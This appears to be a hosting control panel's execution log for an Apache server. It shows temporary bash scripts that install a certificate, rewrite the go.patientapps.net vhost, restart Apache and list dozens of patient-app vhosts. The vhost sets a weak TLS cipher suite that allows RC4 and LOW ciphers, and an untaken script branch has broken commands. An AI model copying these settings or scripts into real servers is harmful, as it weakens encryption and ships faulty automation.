cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-11 06:01:19:
chmod 755 /tmp/pkp457532; /tmp/pkp457532; rm /tmp/pkp457532
2025-10-11 06:01:19:
dir=/etc/ssl/certs
2025-10-11 06:01:19:
PUT: /tmp/pkp244179
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_go_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-11 06:01:19:
chmod 755 /tmp/pkp244179; /tmp/pkp244179; rm /tmp/pkp244179
2025-10-11 06:01:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf 42
<VirtualHost *:80>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_access.log combined
ErrorLog /var/log/apache2/patientapps/go_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/go_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm
</VirtualHost>
2025-10-11 06:01:19:
PUT: /tmp/pkp681452
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_go_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_go_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_access.log combined
ErrorLog /var/log/apache2/patientapps/go_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/go_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_go_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf= 1'
fi
2025-10-11 06:01:19:
chmod 755 /tmp/pkp681452; /tmp/pkp681452; rm /tmp/pkp681452
2025-10-11 06:01:19:
2025-10-11 06:01:19:
PUT: /tmp/pkp837472
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-11 06:01:19:
chmod 755 /tmp/pkp837472; /tmp/pkp837472; rm /tmp/pkp837472
2025-10-11 06:01:19:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-11 06:01:19: Establishing a connection
2025-10-11 06:01:19:
PUT: /tmp/pkp492809
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-11 06:01:19:
chmod 755 /tmp/pkp492809; /tmp/pkp492809; rm /tmp/pkp492809
2025-10-11 06:01:19:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-11 06:01:19:
